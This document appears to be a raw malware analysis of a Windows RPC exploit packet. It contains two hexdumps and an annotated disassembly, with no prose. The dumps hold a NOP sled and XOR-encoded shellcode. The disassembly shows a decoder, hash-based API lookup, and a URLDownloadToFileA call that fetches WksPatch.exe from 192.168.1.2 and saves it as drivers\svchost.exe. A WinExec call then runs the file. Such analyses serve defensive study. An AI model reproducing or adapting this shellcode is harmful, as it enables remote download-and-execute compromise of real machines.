hexdump
00000000: 05 00 00 03 10 00 00 00 - 58 06 00 00 e5 00 00 00 ........ X....... 00000010: 40 06 00 00 01 00 04 00 - 05 00 06 00 01 00 00 00 ........ ........ 00000020: 00 00 00 00 32 24 58 fd - cc 45 64 49 b0 70 dd ae ....2.X. .EdI.p.. 00000030: 74 2c 96 d2 60 5e 0d 00 - 01 00 00 00 00 00 00 00 t....... ........ 00000040: 70 5e 0d 00 02 00 00 00 - 7c 5e 0d 00 00 00 00 00 p....... ........ 00000050: 10 00 00 00 80 96 f1 f1 - 2a 4d ce 11 a6 6a 00 20 ........ .M...j.. 00000060: af 6e 72 f4 0c 00 00 00 - 4d 41 52 42 01 00 00 00 .nr..... MARB.... 00000070: 00 00 00 00 0d f0 ad ba - 00 00 00 00 a8 f4 0b 00 ........ ........ 00000080: d0 05 00 00 d0 05 00 00 - 4d 45 4f 57 04 00 00 00 ........ MEOW.... 00000090: a2 01 00 00 00 00 00 00 - c0 00 00 00 00 00 00 46 ........ .......F 000000a0: 38 03 00 00 00 00 00 00 - c0 00 00 00 00 00 00 46 8....... .......F 000000b0: 00 00 00 00 a0 05 00 00 - 98 05 00 00 00 00 00 00 ........ ........ 000000c0: 01 10 08 00 cc cc cc cc - c8 00 00 00 4d 45 4f 57 ........ ....MEOW 000000d0: 98 05 00 00 d8 00 00 00 - 00 00 00 00 02 00 00 00 ........ ........ 000000e0: 07 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000000f0: 00 00 00 00 c4 28 cd 00 - 64 29 cd 00 00 00 00 00 ........ d....... 00000100: 07 00 00 00 b9 01 00 00 - 00 00 00 00 c0 00 00 00 ........ ........ 00000110: 00 00 00 46 ab 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000120: 00 00 00 46 a5 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000130: 00 00 00 46 a6 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000140: 00 00 00 46 a4 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000150: 00 00 00 46 ad 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000160: 00 00 00 46 aa 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000170: 00 00 00 46 07 00 00 00 - 60 00 00 00 58 00 00 00 ...F.... ....X... 00000180: 90 00 00 00 40 00 00 00 - 20 00 00 00 e8 02 00 00 ........ ........ 00000190: 30 00 00 00 01 00 00 00 - 01 10 08 00 cc cc cc cc 0....... ........ 000001a0: 50 00 00 00 4f b6 88 20 - ff ff ff ff 00 00 00 00 P...O... ........ 000001b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001d0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001e0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001f0: 00 00 00 00 00 00 00 00 - 01 10 08 00 cc cc cc cc ........ ........ 00000200: 48 00 00 00 07 00 66 00 - 06 09 02 00 00 00 00 00 H.....f. ........ 00000210: c0 00 00 00 00 00 00 46 - 10 00 00 00 00 00 00 00 .......F ........ 00000220: 00 00 00 00 01 00 00 00 - 00 00 00 00 78 19 0c 00 ........ ....x... 00000230: 58 00 00 00 05 00 06 00 - 01 00 00 00 70 d8 98 93 X....... ....p... 00000240: 98 4f d2 11 a9 3d be 57 - b2 00 00 00 32 00 31 00 .O.....W ....2.1. 00000250: 01 10 08 00 cc cc cc cc - 80 00 00 00 0d f0 ad ba ........ ........ 00000260: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000270: 18 43 14 00 00 00 00 00 - 60 00 00 00 60 00 00 00 .C...... ........ 00000280: 4d 45 4f 57 04 00 00 00 - c0 01 00 00 00 00 00 00 MEOW.... ........ 00000290: c0 00 00 00 00 00 00 46 - 3b 03 00 00 00 00 00 00 .......F ........ 000002a0: c0 00 00 00 00 00 00 46 - 00 00 00 00 30 00 00 00 .......F ....0... 000002b0: 01 00 01 00 81 c5 17 03 - 80 0e e9 4a 99 99 f1 8a ........ ...J.... 000002c0: 50 6f 7a 85 02 00 00 00 - 00 00 00 00 00 00 00 00 Poz..... ........ 000002d0: 00 00 00 00 00 00 00 00 - 00 00 00 00 01 00 00 00 ........ ........ 000002e0: 01 10 08 00 cc cc cc cc - 30 00 00 00 78 00 6e 00 ........ 0...x.n. 000002f0: 00 00 00 00 d8 da 0d 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000300: 20 2f 0c 00 00 00 00 00 - 00 00 00 00 03 00 00 00 ........ ........ 00000310: 00 00 00 00 03 00 00 00 - 46 00 58 00 00 00 00 00 ........ F.X..... 00000320: 01 10 08 00 cc cc cc cc - 10 00 00 00 30 00 2e 00 ........ ....0... 00000330: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000340: 01 10 08 00 cc cc cc cc - 68 00 00 00 0e 00 ff ff ........ h....... 00000350: 68 8b 0b 00 02 00 00 00 - 00 00 00 00 00 00 00 00 h....... ........ 00000360: 5e 01 00 00 00 00 00 00 - 5e 01 00 00 5c 00 5c 00 ........ ........ 00000370: 46 00 58 00 4e 00 42 00 - 46 00 58 00 46 00 58 00 F.X.N.B. F.X.F.X. 00000380: 4e 00 42 00 46 00 58 00 - 46 00 58 00 46 00 58 00 N.B.F.X. F.X.F.X. 00000390: 46 00 58 00 9d 13 00 01 - cc e0 fd 7f cc e0 fd 7f F.X..... ........ 000003a0: 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ........ ........ * 000004b0: 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ........ ........ 000004c0: 90 90 90 90 90 90 eb 0e - 5b 4b 33 c9 b1 d9 80 34 ........ .K3....4 000004d0: 0b 9a e2 fa eb 05 e8 ed - ff ff ff 73 25 9a 9a 9a ........ ...s.... 000004e0: c5 fe 3b aa 9a 9a 9a 11 - da 96 11 ea 86 37 11 f2 ........ .....7.. 000004f0: 92 11 6d f0 99 c3 72 c5 - 9a 9a 9a 78 63 f2 f5 f4 ..m...r. ...xc... 00000500: 9a 9a f2 ef e8 f6 f7 ce - 65 8c 11 72 72 d3 9a 9a ........ e..rr... 00000510: 9a 11 64 19 5d 8a cd 1a - ad 03 dd 1a a5 8b ef 6d ..d..... .......m 00000520: 1a ad 8b c5 19 76 8e f2 - ff e2 ff 9a f2 f5 e9 ee .....v.. ........ 00000530: b4 f2 e9 ec f9 f2 f2 ff - e8 e9 c6 f2 fe e8 f3 ec ........ ........ 00000540: 11 46 a9 5a ca ca c9 cd - ca 65 cc 96 1f 5a ef 9d .F.Z.... .e...Z.. 00000550: 11 46 ca c9 65 cc 9e 65 - cc 92 cb cc 11 df a6 11 .F..e..e ........ 00000560: ce b2 e2 99 4f c8 11 e8 - ba 99 6f a9 53 d3 db 37 ....O... ..o.S..7 00000570: 99 5f a9 41 95 24 8a a0 - 4c ee 92 5b 51 97 99 40 ...A.... L...Q... 00000580: da 71 6b a1 85 ef 7d c0 - 11 c0 be 99 47 fc 11 96 .qk..... ....G... 00000590: d1 11 c0 86 99 47 11 9e - 11 99 5f 31 c4 c3 59 72 .....G.. ...1..Yr 000005a0: a6 65 65 65 14 d4 94 76 - 02 64 10 94 75 54 7a fa .eee...v .d..uTz. 000005b0: ac 80 b5 ea f1 ed ed e9 - a3 b6 b6 a8 a0 ab b7 a8 ........ ........ 000005c0: af a1 b7 a8 b7 ab a3 ab - ab ab a8 a0 b6 ce f2 ea ........ ........ 000005d0: c9 f8 ed fa f1 b7 fc e1 - fc 11 88 88 88 88 90 90 ........ ........ 000005e0: 90 90 90 90 90 90 90 90 - 90 90 90 00 5c 00 43 00 ........ ......C. 000005f0: 24 00 5c 00 31 00 32 00 - 33 00 34 00 35 00 36 00 ....1.2. 3.4.5.6. 00000600: 31 00 31 00 31 00 31 00 - 31 00 31 00 31 00 31 00 1.1.1.1. 1.1.1.1. 00000610: 31 00 31 00 31 00 31 00 - 31 00 31 00 31 00 2e 00 1.1.1.1. 1.1.1... 00000620: 64 00 6f 00 63 00 00 00 - 01 10 08 00 cc cc cc cc d.o.c... ........ 00000630: 20 00 00 00 30 00 2d 00 - 00 00 00 00 88 2a 0c 00 ....0... ........ 00000640: 02 00 00 00 01 00 00 00 - 28 8c 0c 00 01 00 00 00 ........ ........ 00000650: 07 00 00 00 00 00 00 00 - 00 ........ .
00000000: 05 00 00 03 10 00 00 00 - 58 06 00 00 e5 00 00 00 ........ X....... 00000010: 40 06 00 00 01 00 04 00 - 05 00 06 00 01 00 00 00 ........ ........ 00000020: 00 00 00 00 32 24 58 fd - cc 45 64 49 b0 70 dd ae ....2.X. .EdI.p.. 00000030: 74 2c 96 d2 60 5e 0d 00 - 01 00 00 00 00 00 00 00 t....... ........ 00000040: 70 5e 0d 00 02 00 00 00 - 7c 5e 0d 00 00 00 00 00 p....... ........ 00000050: 10 00 00 00 80 96 f1 f1 - 2a 4d ce 11 a6 6a 00 20 ........ .M...j.. 00000060: af 6e 72 f4 0c 00 00 00 - 4d 41 52 42 01 00 00 00 .nr..... MARB.... 00000070: 00 00 00 00 0d f0 ad ba - 00 00 00 00 a8 f4 0b 00 ........ ........ 00000080: d0 05 00 00 d0 05 00 00 - 4d 45 4f 57 04 00 00 00 ........ MEOW.... 00000090: a2 01 00 00 00 00 00 00 - c0 00 00 00 00 00 00 46 ........ .......F 000000a0: 38 03 00 00 00 00 00 00 - c0 00 00 00 00 00 00 46 8....... .......F 000000b0: 00 00 00 00 a0 05 00 00 - 98 05 00 00 00 00 00 00 ........ ........ 000000c0: 01 10 08 00 cc cc cc cc - c8 00 00 00 4d 45 4f 57 ........ ....MEOW 000000d0: 98 05 00 00 d8 00 00 00 - 00 00 00 00 02 00 00 00 ........ ........ 000000e0: 07 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000000f0: 00 00 00 00 c4 28 cd 00 - 64 29 cd 00 00 00 00 00 ........ d....... 00000100: 07 00 00 00 b9 01 00 00 - 00 00 00 00 c0 00 00 00 ........ ........ 00000110: 00 00 00 46 ab 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000120: 00 00 00 46 a5 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000130: 00 00 00 46 a6 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000140: 00 00 00 46 a4 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000150: 00 00 00 46 ad 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000160: 00 00 00 46 aa 01 00 00 - 00 00 00 00 c0 00 00 00 ...F.... ........ 00000170: 00 00 00 46 07 00 00 00 - 60 00 00 00 58 00 00 00 ...F.... ....X... 00000180: 90 00 00 00 40 00 00 00 - 20 00 00 00 e8 02 00 00 ........ ........ 00000190: 30 00 00 00 01 00 00 00 - 01 10 08 00 cc cc cc cc 0....... ........ 000001a0: 50 00 00 00 4f b6 88 20 - ff ff ff ff 00 00 00 00 P...O... ........ 000001b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001d0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001e0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 000001f0: 00 00 00 00 00 00 00 00 - 01 10 08 00 cc cc cc cc ........ ........ 00000200: 48 00 00 00 07 00 66 00 - 06 09 02 00 00 00 00 00 H.....f. ........ 00000210: c0 00 00 00 00 00 00 46 - 10 00 00 00 00 00 00 00 .......F ........ 00000220: 00 00 00 00 01 00 00 00 - 00 00 00 00 78 19 0c 00 ........ ....x... 00000230: 58 00 00 00 05 00 06 00 - 01 00 00 00 70 d8 98 93 X....... ....p... 00000240: 98 4f d2 11 a9 3d be 57 - b2 00 00 00 32 00 31 00 .O.....W ....2.1. 00000250: 01 10 08 00 cc cc cc cc - 80 00 00 00 0d f0 ad ba ........ ........ 00000260: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000270: 18 43 14 00 00 00 00 00 - 60 00 00 00 60 00 00 00 .C...... ........ 00000280: 4d 45 4f 57 04 00 00 00 - c0 01 00 00 00 00 00 00 MEOW.... ........ 00000290: c0 00 00 00 00 00 00 46 - 3b 03 00 00 00 00 00 00 .......F ........ 000002a0: c0 00 00 00 00 00 00 46 - 00 00 00 00 30 00 00 00 .......F ....0... 000002b0: 01 00 01 00 81 c5 17 03 - 80 0e e9 4a 99 99 f1 8a ........ ...J.... 000002c0: 50 6f 7a 85 02 00 00 00 - 00 00 00 00 00 00 00 00 Poz..... ........ 000002d0: 00 00 00 00 00 00 00 00 - 00 00 00 00 01 00 00 00 ........ ........ 000002e0: 01 10 08 00 cc cc cc cc - 30 00 00 00 78 00 6e 00 ........ 0...x.n. 000002f0: 00 00 00 00 d8 da 0d 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000300: 20 2f 0c 00 00 00 00 00 - 00 00 00 00 03 00 00 00 ........ ........ 00000310: 00 00 00 00 03 00 00 00 - 46 00 58 00 00 00 00 00 ........ F.X..... 00000320: 01 10 08 00 cc cc cc cc - 10 00 00 00 30 00 2e 00 ........ ....0... 00000330: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ........ ........ 00000340: 01 10 08 00 cc cc cc cc - 68 00 00 00 0e 00 ff ff ........ h....... 00000350: 68 8b 0b 00 02 00 00 00 - 00 00 00 00 00 00 00 00 h....... ........ 00000360: 5e 01 00 00 00 00 00 00 - 5e 01 00 00 5c 00 5c 00 ........ ........ 00000370: 46 00 58 00 4e 00 42 00 - 46 00 58 00 46 00 58 00 F.X.N.B. F.X.F.X. 00000380: 4e 00 42 00 46 00 58 00 - 46 00 58 00 46 00 58 00 N.B.F.X. F.X.F.X. 00000390: 46 00 58 00 9d 13 00 01 - cc e0 fd 7f cc e0 fd 7f F.X..... ........ 000003a0: 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ........ ........ * 000004b0: 90 90 90 90 90 90 90 90 - 90 90 90 90 90 90 90 90 ........ ........ 000004c0: 90 90 90 90 90 90 eb 0e - 5b 4b 33 c9 b1 d9 80 34 ........ .K3....4 000004d0: 0b 9a e2 fa eb 05 e8 ed - ff ff ff e9 bf 00 00 00 ........ ........ 000004e0: 5f 64 a1 30 00 00 00 8b - 40 0c 8b 70 1c ad 8b 68 .d.0.... ...p...h 000004f0: 08 8b f7 6a 03 59 e8 5f - 00 00 00 e2 f9 68 6f 6e ...j.Y.. .....hon 00000500: 00 00 68 75 72 6c 6d 54 - ff 16 8b e8 e8 49 00 00 ..hurlmT .....I.. 00000510: 00 8b fe 83 c7 10 57 80 - 37 99 47 80 3f 11 75 f7 ......W. 7.G...u. 00000520: 80 37 11 5f 83 ec 14 68 - 65 78 65 00 68 6f 73 74 .7.....h exe.host 00000530: 2e 68 73 76 63 68 68 65 - 72 73 5c 68 64 72 69 76 .hsvchhe rs.hdriv 00000540: 8b dc 33 c0 50 50 53 57 - 50 ff 56 0c 85 c0 75 07 ..3.PPSW P.V...u. 00000550: 8b dc 50 53 ff 56 04 ff - 56 08 51 56 8b 45 3c 8b ..PS.V.. V.QV.E.. 00000560: 54 28 78 03 d5 52 8b 72 - 20 03 f5 33 c9 49 41 ad T.x..R.r ...3.IA. 00000570: 03 c5 33 db 0f be 10 3a - d6 74 08 c1 cb 0d 03 da ..3..... .t...... 00000580: 40 eb f1 3b 1f 75 e7 5a - 8b 5a 24 03 dd 66 8b 0c .....u.Z .Z...f.. 00000590: 4b 8b 5a 1c 03 dd 8b 04 - 8b 03 c5 ab 5e 59 c3 e8 K.Z..... .....Y.. 000005a0: 3c ff ff ff 8e 4e 0e ec - 98 fe 8a 0e ef ce e0 60 .....N.. ........ 000005b0: 36 1a 2f 70 68 74 74 70 - 3a 2f 2f 31 39 32 2e 31 6..phttp ...192.1 000005c0: 36 38 2e 31 2e 32 3a 32 - 32 32 31 39 2f 57 6b 73 68.1.2.2 2219.Wks 000005d0: 50 61 74 63 68 2e 65 78 - 65 00 88 88 88 88 90 90 Patch.ex e....... 000005e0: 90 90 90 90 90 90 90 90 - 90 90 90 00 5c 00 43 00 ........ ......C. 000005f0: 24 00 5c 00 31 00 32 00 - 33 00 34 00 35 00 36 00 ....1.2. 3.4.5.6. 00000600: 31 00 31 00 31 00 31 00 - 31 00 31 00 31 00 31 00 1.1.1.1. 1.1.1.1. 00000610: 31 00 31 00 31 00 31 00 - 31 00 31 00 31 00 2e 00 1.1.1.1. 1.1.1... 00000620: 64 00 6f 00 63 00 00 00 - 01 10 08 00 cc cc cc cc d.o.c... ........ 00000630: 20 00 00 00 30 00 2d 00 - 00 00 00 00 88 2a 0c 00 ....0... ........ 00000640: 02 00 00 00 01 00 00 00 - 28 8c 0c 00 01 00 00 00 ........ ........ 00000650: 07 00 00 00 00 00 00 00 - 00 ........ .
000004C6 jmp short loc_4D6 000004C8 ; --------------------------------------------------------------------------- 000004C8 000004C8 loc_4C8: 000004C8 pop ebx 000004C9 dec ebx 000004CA xor ecx, ecx 000004CC mov cl, 0D9h ; '+' 000004CE 000004CE loc_4CE: 000004CE xor byte ptr [ebx+ecx], 9Ah 000004D2 loop loc_4CE 000004D4 jmp short loc_4DB 000004D6 ; --------------------------------------------------------------------------- 000004D6 000004D6 loc_4D6: 000004D6 call loc_4C8 000004DB 000004DB loc_4DB: 000004DB jmp loc_59F
000004E0 loc_4E0: 000004E0 pop edi 000004E1 mov eax, large fs:30h 000004E7 mov eax, [eax+0Ch] 000004EA mov esi, [eax+1Ch] 000004ED lodsd 000004EE mov ebp, [eax+8] 000004F1 mov esi, edi 000004F3 push 3 000004F5 pop ecx 000004F6 000004F6 loc_4F6: 000004F6 call getImportByHash 000004FB loop loc_4F6 000004FD push 'no' 00000502 push 'mlru' 00000507 push esp 00000508 call dword ptr [esi] ; LoadLibraryA 0000050A mov ebp, eax 0000050C call getImportByHash 00000511 mov edi, esi 00000513 add edi, 10h 00000516 push edi 00000517 00000517 loc_517: 00000517 xor byte ptr [edi], 99h 0000051A inc edi 0000051B cmp byte ptr [edi], 11h 0000051E jnz short loc_517 00000520 xor byte ptr [edi], 11h 00000523 pop edi 00000524 sub esp, 14h 00000527 push 'exe' 0000052C push '.tso' 00000531 push 'hcvs' 00000536 push '\sre' 0000053B push 'vird' 00000540 mov ebx, esp 00000542 xor eax, eax 00000544 push eax 00000545 push eax 00000546 push ebx ; pointer to "drivers\svchost.exe" 00000547 push edi ; Pointer to URL 00000548 push eax 00000549 call dword ptr [esi+0Ch] ; URLDownloadToFile 0000054C test eax, eax 0000054E jnz short loc_557 ; ExitThread 00000550 mov ebx, esp 00000552 push eax 00000553 push ebx 00000554 call dword ptr [esi+4] ; WinExec "drivers\svchost.exe" 00000557 00000557 loc_557: ; ExitThread 00000557 call dword ptr [esi+8] 0000055A 0000055A ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ 0000055A 0000055A 0000055A getImportByHash proc near 0000055A push ecx 0000055B push esi 0000055C mov eax, [ebp+3Ch] 0000055F mov edx, [eax+ebp+78h] 00000563 add edx, ebp 00000565 push edx 00000566 mov esi, [edx+20h] 00000569 add esi, ebp 0000056B xor ecx, ecx 0000056D dec ecx 0000056E 0000056E loc_56E: 0000056E inc ecx 0000056F lodsd 00000570 add eax, ebp 00000572 xor ebx, ebx 00000574 00000574 loc_574: 00000574 movsx edx, byte ptr [eax] 00000577 cmp dl, dh 00000579 jz short loc_583 0000057B ror ebx, 0Dh 0000057E add ebx, edx 00000580 inc eax 00000581 jmp short loc_574 00000583 ; --------------------------------------------------------------------------- 00000583 00000583 loc_583: 00000583 cmp ebx, [edi] 00000585 jnz short loc_56E 00000587 pop edx 00000588 mov ebx, [edx+24h] 0000058B add ebx, ebp 0000058D mov cx, [ebx+ecx*2] 00000591 mov ebx, [edx+1Ch] 00000594 add ebx, ebp 00000596 mov eax, [ebx+ecx*4] 00000599 add eax, ebp 0000059B stosd 0000059C pop esi 0000059D pop ecx 0000059E retn 0000059E getImportByHash endp 0000059E 0000059F ; --------------------------------------------------------------------------- 0000059F 0000059F loc_59F: 0000059F call loc_4E0 0000059F ; --------------------------------------------------------------------------- 000005A4 dd 0EC0E4E8Eh ; LoadLibraryA 000005A8 dd 0E8AFE98h ; WinExec 000005AC dd 60E0CEEFh ; ExitThread 000005B0 dd 702F1A36h ; URLDownloadToFileA 000005B4 aHttp192_168_1_ db 'http://192.168.1.2:22219/WksPatch.exe',0